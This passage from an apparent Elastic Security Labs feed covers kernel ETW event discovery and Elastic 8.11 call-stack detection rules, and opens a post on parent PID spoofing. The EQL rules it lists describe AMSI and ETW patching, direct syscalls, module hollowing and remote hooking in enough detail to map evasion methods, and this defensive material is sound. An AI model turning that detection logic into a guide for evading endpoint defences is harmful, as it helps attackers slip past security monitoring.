<p>If you had a specific API in mind, you might query for its name or its parameters. For example, if you want Named Pipe events, you might use <a href="https://github.com/search?type=code&amp;q=repo:jdu2600/Windows10EtwEvents+kernel+namedpipe">this query</a>.</p>
<p>In this instance, though, <code>Microsoft-Windows-SEC</code> belongs to the built-in Microsoft Security drivers that Microsoft Defender for Endpoint (MDE) utilizes. This provider is only officially available to MDE, though <a href="https://www.youtube.com/watch?v=tuoA3KGKf7o">Sebastian Feldmann and Philipp Schmied</a> have demonstrated how to start a session using an <a href="https://learn.microsoft.com/en-us/windows/win32/etw/configuring-and-starting-an-autologger-session">AutoLogger</a> and subscribe to that session’s events. This is only currently useful for MDE users as otherwise, the driver is not configured to emit events.</p>
<p>But what about trace providers?</p>
<h3>Modern Kernel Trace Providers</h3>
<p>TraceLogging metadata is stored as an opaque blob within the logging binary. Thankfully this format has been reversed by <a href="https://posts.specterops.io/data-source-analysis-and-dynamic-windows-re-using-wpp-and-tracelogging-e465f8b653f7">Matt Graeber</a>. We can use Matt’s script to dump all TraceLogging metadata for <code>ntoskrnl.exe</code>. A sample dump of Windows 11 TraceLogging metadata is <a href="https://gist.github.com/jdu2600/288475bc43ea68636c28cb25ddeb934f">here</a>.</p>
<p>Unfortunately, the metadata structure alone doesn’t retain the correlation between providers and events.  There are interesting provider names, such as <code>Microsoft.Windows.Kernel.Security</code> and <code>AttackSurfaceMonitor</code>, but it’s not yet clear from our metadata dump which events belong to these providers.</p>
<h3>Legacy Kernel Trace Providers</h3>
<p>WPP metadata is stored within symbols files (PDBs).  Microsoft includes this information in the <a href="https://techcommunity.microsoft.com/t5/microsoft-usb-blog/how-to-include-and-view-wpp-trace-messages-in-a-driver-8217-s/ba-p/270778">public symbols for some, but not all, drivers</a>.  The kernel itself, however, does not produce any WPP events. Instead, the legacy Windows Kernel Trace event provider can be passed undocumented flags to enable the legacy “trace” events usually only available to Microsoft kernel developers.</p>
<table>
<thead>
<tr>
<th>Provider</th>
<th>Documentation</th>
<th>Event Metadata</th>
</tr>
</thead>
<tbody>
<tr>
<td>Modern Event Providers</td>
<td>None</td>
<td><a href="https://github.com/microsoft/perfview/blob/51ec1dffe9055ab58ba1b13d1b716b36760ed895/src/TraceEvent/RegisteredTraceEventParser.cs#L81-L529">Registered XML manifests</a></td>
</tr>
<tr>
<td>Legacy Event Providers</td>
<td>Partial</td>
<td><a href="https://learn.microsoft.com/en-us/windows/win32/etw/retrieving-event-data-using-mof">EventTrace WMI objects</a></td>
</tr>
<tr>
<td>Modern Trace Providers</td>
<td>None</td>
<td><a href="https://gist.github.com/mattifestation/edbac1614694886c8ef4583149f53658">Undocumented blob in binary</a></td>
</tr>
<tr>
<td>Legacy Trace Providers</td>
<td>None</td>
<td><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/trace-message-format-file">Undocumented blob in Symbols</a></td>
</tr>
</tbody>
</table>
<h2>Next Steps</h2>
<p>We now have kernel event metadata for each of the four flavours of ETW provider, but a list of ETW events is just our starting point. Knowing the provider and event keyword may not be enough to generate the events we expect. Sometimes, an additional configuration registry key or API call is required. More often, though, we just need to understand the exact conditions under which the event is logged.</p>
<p>Knowing exactly where and what is being logged is critical to truly understanding your telemetry and its limitations. And, thanks to decompilers becoming readily available, we have the option of some just-enough-reversing available to us. In IDA we call this “press F5”. Ghidra is the open-source alternative and it supports scripting … with Java.</p>
<p>For kernel ETW, we are particularly interested in <code>EtwWrite</code> calls that are reachable from system calls. We want as much of the call site parameter information as possible, including any associated public symbol information. This meant that we needed to walk the call graph but also attempt to resolve the possible values for particular parameters.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/kernel-etw-best-etw/image4.png" alt="alt_text" title="image_tooltip" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/kernel-etw-best-etw/image12.png" alt="EtwWrite documentation" title="EtwWrite documentation" /></p>
<p>The necessary parameters were the <code>RegHandle</code> and the <code>EventDescriptor</code>.  The former is an opaque handle for the provider, and the latter provides event-specific information, such as the event id and its associated keywords.  An ETW keyword is an identifier used to enable a set of events.</p>
<p>Even better, these event descriptors were typically stored in a global constant with a public symbol.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/kernel-etw-best-etw/image1.png" alt="Example ntoskrnl.exe EVENT_DESCRIPTOR in Ghidra" title="Example ntoskrnl.exe EVENT_DESCRIPTOR in Ghidra" /></p>
<p>We had sufficient event metadata but still needed to resolve the opaque provider handle assigned at runtime back to the metadata about the provider. For this, we also needed the <code>EtwRegister</code> calls.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/kernel-etw-best-etw/image9.png" alt="EtwRegister documentation" title="EtwRegister documentation" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/kernel-etw-best-etw/image10.png" alt="Example ntoskrnl.exe EtwRegister in Ghidra" title="Example ntoskrnl.exe EtwRegister in Ghidra" /></p>
<p>The typical pattern for kernel modern event providers was to store the constant provider GUID and the runtime handle in globals with public symbols.</p>
<p>Another pattern encountered was calls to <code>EtwRegister</code>, <code>EtwEwrite</code>, and <code>EtwUnregister</code>, all in the same function. In this case, we took advantage of the locality to find the provider GUID for the event.</p>
<p>Modern TraceLogging providers, however, did not have associated per-provider public symbols to provide a hint of each provider’s purpose. However, Matt Graeber had <a href="https://posts.specterops.io/data-source-analysis-and-dynamic-windows-re-using-wpp-and-tracelogging-e465f8b653f7">reversed the TraceLogging metadata</a> format and documented that the provider name is stored at a <a href="https://gist.github.com/mattifestation/edbac1614694886c8ef4583149f53658#file-tlgmetadataparser-psm1-L461-L473">fixed offset</a> from the provider GUID. Having the exact provider name is even better than just the public symbol we recovered for modern events.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/kernel-etw-best-etw/image7.png" alt="Example TraceLogging Provider blob in Ghidra" title="Example TraceLogging Provider blob in Ghidra" /></p>
<p>This just left the legacy providers. They didn’t seem to have either public symbols or metadata blobs.  Some constants are passed to an undocumented function named <code>EtwTraceKernelEvent</code> which wraps the eventual ETW write call.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/kernel-etw-best-etw/image5.png" alt="Example legacy provider EtwTraceKernelEvent call in Ghidra" title="Example legacy provider EtwTraceKernelEvent call in Ghidra" /></p>
<p>Those constants are present in the Windows 10 1511 WDK headers (and the <a href="https://github.com/winsiderss/systeminformer/blob/7ad69bf13d31892a89be7230bdbd47ffde024a2b/phnt/include/ntwmi.h#L725">System Informer</a> headers), so we could label these events with the constant names.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/kernel-etw-best-etw/image2.png" alt="ntwmi.h extract" title="ntwmi.h extract" /></p>
<p>This script has been recently updated for Ghidra 11, along with improved support for TraceLogging and Legacy events. You can now find it on GitHub here - <a href="https://github.com/jdu2600/API-To-ETW">https://github.com/jdu2600/API-To-ETW</a></p>
<p>Sample output for the Windows 11 kernel is <a href="https://github.com/jdu2600/API-To-ETW/blob/main/ntoskrnl.exe.csv">here</a>.</p>
<p>Our previously anonymous <code>Microsoft-Windows-Kernel-Audit-API-Calls</code> events are quickly unmasked by this script.</p>
<table>
<thead>
<tr>
<th>Id</th>
<th>EVENT_DESCRIPTOR Symbol</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>KERNEL_AUDIT_API_PSSETLOADIMAGENOTIFYROUTINE</td>
<td>PsSetLoadImageNotifyRoutineEx</td>
</tr>
<tr>
<td>2</td>
<td>KERNEL_AUDIT_API_TERMINATEPROCESS</td>
<td>NtTerminateProcess</td>
</tr>
<tr>
<td>3</td>
<td>KERNEL_AUDIT_API_CREATESYMBOLICLINKOBJECT</td>
<td>ObCreateSymbolicLink</td>
</tr>
<tr>
<td>4</td>
<td>KERNEL_AUDIT_API_SETCONTEXTTHREAD</td>
<td>NtSetContextThread</td>
</tr>
<tr>
<td>5</td>
<td>KERNEL_AUDIT_API_OPENPROCESS</td>
<td>PsOpenProcess</td>
</tr>
<tr>
<td>6</td>
<td>KERNEL_AUDIT_API_OPENTHREAD</td>
<td>PsOpenThread</td>
</tr>
<tr>
<td>7</td>
<td>KERNEL_AUDIT_API_IOREGISTERLASTCHANCESHUTDOWNNOTIFICATION</td>
<td>IoRegisterLastChanceShutdownNotification</td>
</tr>
<tr>
<td>8</td>
<td>KERNEL_AUDIT_API_IOREGISTERSHUTDOWNNOTIFICATION</td>
<td>IoRegisterShutdownNotification</td>
</tr>
</tbody>
</table>
<p>Symbol and containing function for Microsoft-Windows-Kernel-Audit-API-Calls events</p>
<p>With the call path and parameter information recovered by the script, we can also see that the <code>SECURITY_ACCESSCHECK</code> event from earlier is associated with the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-seaccesscheck">SeAccessCheck</a> kernel API, but only logged within a function named <code>SeLogAccessFailure</code>. Only logging failure conditions is a very common occurrence with ETW events. For troubleshooting purposes, the original ETW use case, these are typically the most useful and the implementation in most components reflects this. Unfortunately, for security purposes, the inverse is often true. The successful operation logs are usually more useful for finding malicious activity. So, the value of some of these legacy events is often low.</p>
<p>Modern <a href="https://www.cisa.gov/resources-tools/resources/secure-by-design">Secure by Design</a> practice is to audit log both success and failure for security relevant activities and Microsoft continues to add new security-relevant ETW events that do this. For example, the preview build of Windows 11 24H2 includes some <a href="https://windows-internals.com/an-end-to-kaslr-bypasses/">interesting new ETW events</a> in the <code>Microsoft-Windows-Threat-Intelligence</code> provider. Hopefully, these will be documented for security vendors ahead of its release.</p>
<p>Running this decompiler script across interesting Windows drivers and service DLLs is left as an exercise to the reader.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/kernel-etw-best-etw/kernel-etw-best-etw.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Doubling Down: Detecting In-Memory Threats with Kernel ETW Call Stacks]]></title>
            <link>https://www.elastic.co/pt/security-labs/doubling-down-etw-callstacks</link>
            <guid>doubling-down-etw-callstacks</guid>
            <pubDate>Tue, 09 Jan 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[With Elastic Security 8.11, we added further kernel telemetry call stack-based detections to increase efficacy against in-memory threats.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>We were pleased to see that the <a href="https://www.elastic.co/pt/security-labs/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks">kernel call stack</a> capability we released in 8.8 was met with <a href="https://x.com/Kostastsale/status/1664050735166930944">extremely</a> <a href="https://x.com/HackingLZ/status/1663897174806089728">positive</a> <a href="https://twitter.com/bohops/status/1726251988244160776">community feedback</a> - both from the offensive research teams attempting to evade us and the defensive teams triaging alerts faster due to the additional <a href="https://www.elastic.co/pt/security-labs/peeling-back-the-curtain-with-call-stacks">context</a>.</p>
<p>But this was only the first step: We needed to arm defenders with even more visibility from the kernel - the most reliable mechanism to combat user-mode threats. With the introduction of Kernel Patch Protection in x64 Windows, Microsoft created a shared responsibility model where security vendors are now limited to only the kernel visibility and extension points that Microsoft provides. The most notable addition to this visibility is the <a href="https://github.com/jdu2600/Windows10EtwEvents/blob/master/manifest/Microsoft-Windows-Threat-Intelligence.tsv">Microsoft-Windows-Threat-Intelligence Event Tracing for Windows</a>(ETW) provider.</p>
<p>Microsoft has identified a handful of highly security-relevant syscalls and provided security vendors with near real-time telemetry of those. While we would strongly prefer inline callbacks that allow synchronous blocking of malicious activity, Microsoft has implicitly not deemed this a necessary security use case yet. Currently, the only filtering mechanism afforded to security vendors for these syscalls is user-mode hooking - and that approach is <a href="https://blogs.blackberry.com/en/2017/02/universal-unhooking-blinding-security-software">inherently</a> <a href="https://www.cyberbit.com/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/">fragile</a>. At Elastic, we determined that a more robust detection approach based on kernel telemetry collected through ETW would provide greater security benefits than easily bypassed user-mode hooks. That said, kernel ETW does have some <a href="https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs">systemic issues</a> that we have logged with Microsoft, along with suggested <a href="https://www.elastic.co/pt/security-labs/finding-truth-in-the-shadows">mitigations</a>.</p>
<h2>Implementation</h2>
<p>Endpoint telemetry is a careful balance between completeness and cost. Vendors don’t want to balloon your SIEM storage costs unnecessarily, but they also don't want you to miss the critical indicator of compromise. To reduce event volumes for these new API events, we fingerprint each event and only emit it if it is unique. This deduplication ensures a minimal impact on detection fidelity.</p>
<p>However, this approach proved insufficient in reducing API event volumes to manageable levels in all environments. Any further global reduction of event volumes we introduced would be a blindspot for our customers. Instead of potentially impairing detection visibility in this fashion, we determined that these highly verbose events would be processed for detections on the host but would not be streamed to the SIEM by default. This approach reduces storage costs for most of our users while also empowering any customer SOCs that want the full fidelity of those events to opt into streaming via an advanced option available in Endpoint policy and implement filtering tailored to their specific environments.</p>
<p>Currently, we propagate visibility into the following APIs -</p>
<ul>
<li><code>VirtualAlloc</code></li>
<li><code>VirtualProtect</code></li>
<li><code>MapViewOfFile</code></li>
<li><code>VirtualAllocEx</code></li>
<li><code>VirtualProtectEx</code></li>
<li><code>MapViewOfFile2</code></li>
<li><code>QueueUserAPC</code> [call stacks not always available due to ETW limitations]</li>
<li><code>SetThreadContext</code> [call stacks planned for 8.12]</li>
<li><code>WriteProcessMemory</code></li>
<li><code>ReadProcessMemory</code> (lsass) [planned for 8.12]</li>
</ul>
<p>In addition to call stack information, our API events are also enriched with several <a href="https://github.com/elastic/endpoint-package/blob/main/custom_schemas/custom_api.yml">behaviors</a>:</p>
<table>
<thead>
<tr>
<th>API event</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>cross-process</code></td>
<td>The observed activity was between two processes.</td>
</tr>
<tr>
<td><code>native_api</code></td>
<td>A call was made directly to the undocumented Native API rather than the supported Win32 API.</td>
</tr>
<tr>
<td><code>direct_syscall</code></td>
<td>A syscall instruction originated outside of the Native API layer.</td>
</tr>
<tr>
<td><code>proxy_call</code></td>
<td>The call stack appears to show a proxied API call to masking the true caller.</td>
</tr>
<tr>
<td><code>sensitive_api</code></td>
<td>Executable non-image memory is unexpectedly calling a sensitive API.</td>
</tr>
<tr>
<td><code>shellcode</code></td>
<td>Suspicious executable non-image memory is calling a sensitive API.</td>
</tr>
<tr>
<td><code>image-hooked</code></td>
<td>An entry in the call stack appears to have been hooked.</td>
</tr>
<tr>
<td><code>image_indirect_call</code></td>
<td>An entry in the call stack was preceded by a call to a dynamically resolved function.</td>
</tr>
<tr>
<td><code>image_rop</code></td>
<td>An entry in the call stack was not preceded by a call instruction.</td>
</tr>
<tr>
<td><code>image_rwx</code></td>
<td>An entry in the call stack is writable.</td>
</tr>
<tr>
<td><code>unbacked_rwx</code></td>
<td>An entry in the call stack is non-image and writable.</td>
</tr>
<tr>
<td><code>allocate_shellcode</code></td>
<td>A region of non-image executable memory suspiciously allocated more executable memory.</td>
</tr>
<tr>
<td><code>execute_fluctuation</code></td>
<td>The PAGE_EXECUTE protection is unexpectedly fluctuating.</td>
</tr>
<tr>
<td><code>write_fluctuation</code></td>
<td>The PAGE_WRITE protection of executable memory is unexpectedly fluctuating.</td>
</tr>
<tr>
<td><code>hook_api</code></td>
<td>A change to the memory protection of a small executable image memory region was made.</td>
</tr>
<tr>
<td><code>hollow_image</code></td>
<td>A change to the memory protection of a large executable image memory region was made.</td>
</tr>
<tr>
<td><code>hook_unbacked</code></td>
<td>A change to the memory protection of a small executable non-image memory was made.</td>
</tr>
<tr>
<td><code>hollow_unbacked</code></td>
<td>A change to the memory protection of a large executable non-image memory was made.</td>
</tr>
<tr>
<td><code>guarded_code</code></td>
<td>Executable memory was unexpectedly marked as PAGE_GUARD.</td>
</tr>
<tr>
<td><code>hidden_code</code></td>
<td>Executable memory was unexpectedly marked as PAGE_NOACCESS.</td>
</tr>
<tr>
<td><code>execute_shellcode</code></td>
<td>A region of non-image executable memory was executed in an unexpected fashion.</td>
</tr>
<tr>
<td><code>hardware_breakpoint_set</code></td>
<td>A hardware breakpoint was potentially set.</td>
</tr>
</tbody>
</table>
<h2>New Rules</h2>
<p>In 8.11, Elastic Defend’s behavior protection comes with many new rules against various popular malware techniques, such as shellcode fluctuation, threadless injection, direct syscalls, indirect calls, and AMSI or ETW patching.</p>
<p>These rules include:</p>
<h3>Windows API Call via Direct Syscall</h3>
<p>Identifies the call of commonly abused Windows APIs to perform code injection and where the call stack is not starting with NTDLL:</p>
<pre><code>api where event.category == &quot;intrusion_detection&quot; and

    process.Ext.api.behaviors == &quot;direct_syscall&quot; and 

    process.Ext.api.name : (&quot;VirtualAlloc*&quot;, &quot;VirtualProtect*&quot;, 
                             &quot;MapViewOfFile*&quot;, &quot;WriteProcessMemory&quot;)
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/doubling-down-etw-callstacks/image1.png" alt="Windows API Call via Direct Syscall rule logic" /></p>
<h3>VirtualProtect via Random Indirect Syscall</h3>
<p>Identifies calls to the VirtualProtect API and where the call stack is not originating from its equivalent NT syscall NtProtectVirtualMemory:</p>
<pre><code>api where 

 process.Ext.api.name : &quot;VirtualProtect*&quot; and 

 not _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info: (&quot;*ntdll.dll!NtProtectVirtualMemory*&quot;, &quot;*ntdll.dll!ZwProtectVirtualMemory*&quot;)) 
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/doubling-down-etw-callstacks/image5.png" alt="VirtualProtect via Random Indirect Syscall rule match examples" /></p>
<h3>Image Hollow from Unbacked Memory</h3>
<pre><code>api where process.Ext.api.behaviors == &quot;hollow_image&quot; and 

  process.Ext.api.name : &quot;VirtualProtect*&quot; and 

  process.Ext.api.summary : &quot;*.dll*&quot; and 

  process.Ext.api.parameters.size &gt;= 10000 and process.executable != null and 

  process.thread.Ext.call_stack_summary : &quot;*Unbacked*&quot;
</code></pre>
<p>Below example of matches on <code>wwanmm.dll</code> module stomping to replace it’s memory content with a malicious payload:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/doubling-down-etw-callstacks/image2.png" alt="Image Hollow from Unbacked Memory rule match examples" /></p>
<h3>AMSI and WLDP Memory Patching</h3>
<p>Identifies attempts to modify the permissions or write to Microsoft Antimalware Scan Interface or the Windows Lock Down Policy related DLLs from memory to modify its behavior for evading malicious content checks:</p>
<pre><code>api where

 (
  (process.Ext.api.name : &quot;VirtualProtect*&quot; and 
    process.Ext.api.parameters.protection : &quot;*W*&quot;) or

  process.Ext.api.name : &quot;WriteProcessMemory*&quot;
  ) and

 process.Ext.api.summary : (&quot;* amsi.dll*&quot;, &quot;* mpoav.dll*&quot;, &quot;* wldp.dll*&quot;) 
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/doubling-down-etw-callstacks/image6.png" alt="AMSI and WLDP Memory Patching rule match examples" /></p>
<h3>Evasion via Event Tracing for Windows Patching</h3>
<p>Identifies attempts to patch the Microsoft Event Tracing for Windows via memory modification:</p>
<pre><code>api where process.Ext.api.name :  &quot;WriteProcessMemory*&quot; and 

process.Ext.api.summary : (&quot;*ntdll.dll!Etw*&quot;, &quot;*ntdll.dll!NtTrace*&quot;) and 

not process.executable : (&quot;?:\\Windows\\System32\\lsass.exe&quot;, &quot;\\Device\\HarddiskVolume*\\Windows\\System32\\lsass.exe&quot;)
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/doubling-down-etw-callstacks/image4.png" alt="Evasion via Event Tracing for Windows Patching rule match examples" /></p>
<h3>Windows System Module Remote Hooking</h3>
<p>Identifies attempts to write to a remote process memory to modify NTDLL or Kernelbase modules as a preparation step for stealthy code injection:</p>
<pre><code>api where process.Ext.api.name : &quot;WriteProcessMemory&quot; and  

process.Ext.api.behaviors == &quot;cross-process&quot; and 

process.Ext.api.summary : (&quot;*ntdll.dll*&quot;, &quot;*kernelbase.dll*&quot;)
</code></pre>
<p>Below is an example of matches on <a href="https://github.com/CCob/ThreadlessInject">ThreadLessInject</a>, a new process injection technique that involves hooking an export function from a remote process to gain shellcode execution (avoiding the creation of a remote thread):</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/doubling-down-etw-callstacks/image3.png" alt="ThreadlessInject example detecting via the Windows System Module Remote Hooking rule" /></p>
<h2>Conclusion</h2>
<p>Until Microsoft provides vendors with kernel callbacks for security-relevant syscalls, Threat-Intelligence ETW will remain the most robust visibility into in-memory threats on Windows. At Elastic, we’re committed to putting that visibility to work for customers and optionally directly into their hands without any hidden filtering assumptions.</p>
<p><a href="https://www.elastic.co/pt/guide/en/security/current/release-notes.html">Stay tuned</a> for the call stack features in upcoming releases of Elastic Security.</p>
<h2>Resources</h2>
<h3>Rules released with 8.11:</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_amsi_or_wldp_bypass_via_memory_patching.toml">AMSI or WLDP Bypass via Memory Patching</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_call_stack_spoofing_via_synthetic_frames.toml">Call Stack Spoofing via Synthetic Frames</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_evasion_via_event_tracing_for_windows_patching.toml">Evasion via Event Tracing for Windows Patching</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_memory_protection_modification_of_an_unsigned_dll.toml">Memory Protection Modification of an Unsigned DLL</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_network_activity_from_a_stomped_module.toml">Network Activity from a Stomped Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_potential_evasion_via_invalid_code_signature.toml">Potential Evasion via Invalid Code Signature</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_potential_injection_via_an_exception_handler.toml">Potential Injection via an Exception Handler</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_potential_injection_via_asynchronous_procedure_call.toml">Potential Injection via Asynchronous Procedure Call</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_potential_thread_call_stack_spoofing.toml">Potential Thread Call Stack Spoofing</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_remote_process_injection_via_mapping.toml">Remote Process Injection via Mapping</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_remote_process_manipulation_by_suspicious_process.toml">Remote Process Manipulation by Suspicious Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_remote_thread_context_manipulation.toml">Remote Thread Context Manipulation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_activity_from_a_control_panel_applet.toml">Suspicious Activity from a Control Panel Applet</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_api_call_from_a_script_interpreter.toml">Suspicious API Call from a Script Interpreter</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/persistence_suspicious_api_from_an_unsigned_service_dll.toml">Suspicious API from an Unsigned Service DLL</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_call_stack_trailing_bytes.toml">Suspicious Call Stack Trailing Bytes</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_executable_heap_allocation.toml">Suspicious Executable Heap Allocation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_executable_memory_permission_modification.toml">Suspicious Executable Memory Permission Modification</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_memory_protection_fluctuation.toml">Suspicious Memory Protection Fluctuation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_memory_write_to_a_remote_process.toml">Suspicious Memory Write to a Remote Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_ntdll_memory_write.toml">Suspicious NTDLL Memory Write</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_null_terminated_call_stack.toml">Suspicious Null Terminated Call Stack</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_kernel32_memory_protection.toml">Suspicious Kernel32 Memory Protection</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_remote_memory_allocation.toml">Suspicious Remote Memory Allocation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_windows_api_call_from_virtual_disk_or_usb.toml">Suspicious Windows API Call from Virtual Disk or USB</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_windows_api_call_via_direct_syscall.toml">Suspicious Windows API Call via Direct Syscall</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_windows_api_call_via_rop_gadgets.toml">Suspicious Windows API Call via ROP Gadgets</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_suspicious_windows_api_proxy_call.toml">Suspicious Windows API Proxy Call</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_virtualprotect_api_call_from_an_unsigned_dll.toml">VirtualProtect API Call from an Unsigned DLL</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_virtualprotect_call_via_nttestalert.toml">VirtualProtect Call via NtTestAlert</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_virtualprotect_via_indirect_random_syscall.toml">VirtualProtect via Indirect Random Syscall</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_virtualprotect_via_rop_gadgets.toml">VirtualProtect via ROP Gadgets</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_windows_api_via_a_callback_function.toml">Windows API via a CallBack Function</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/cb45629514acefc68a9d08111b3a76bc90e52238/behavior/rules/defense_evasion_windows_system_module_remote_hooking.toml">Windows System Module Remote Hooking</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/doubling-down-etw-callstacks/photo-edited-01.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Effective Parenting - detecting LRPC-based parent PID spoofing]]></title>
            <link>https://www.elastic.co/pt/security-labs/effective-parenting-detecting-lrpc-based-parent-pid-spoofing</link>
            <guid>effective-parenting-detecting-lrpc-based-parent-pid-spoofing</guid>
            <pubDate>Wed, 29 Mar 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Using process creation as a case study, this research will outline the evasion-detection arms race to date, describe the weaknesses in some current detection approaches and then follow the quest for a generic approach to LRPC-based evasion.]]></description>
            <content:encoded><![CDATA[<p>Adversaries currently utilize <a href="https://docs.microsoft.com/en-us/windows/win32/rpc/">RPC</a>’s client-server architecture to obfuscate their activities on a host – including <a href="https://docs.microsoft.com/en-us/windows/win32/com/com-technical-overview#remoting">COM</a> and <a href="https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-architecture">WMI</a> which are both RPC-based. For example, a number of local RPC servers will happily launch processes on behalf of a malicious client - and that form of defense evasion is difficult to flag as malicious without being able to correlate it with the client.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image23.jpg" alt="Annotated process tree showing the breaks in the behaviour graph" /></p>
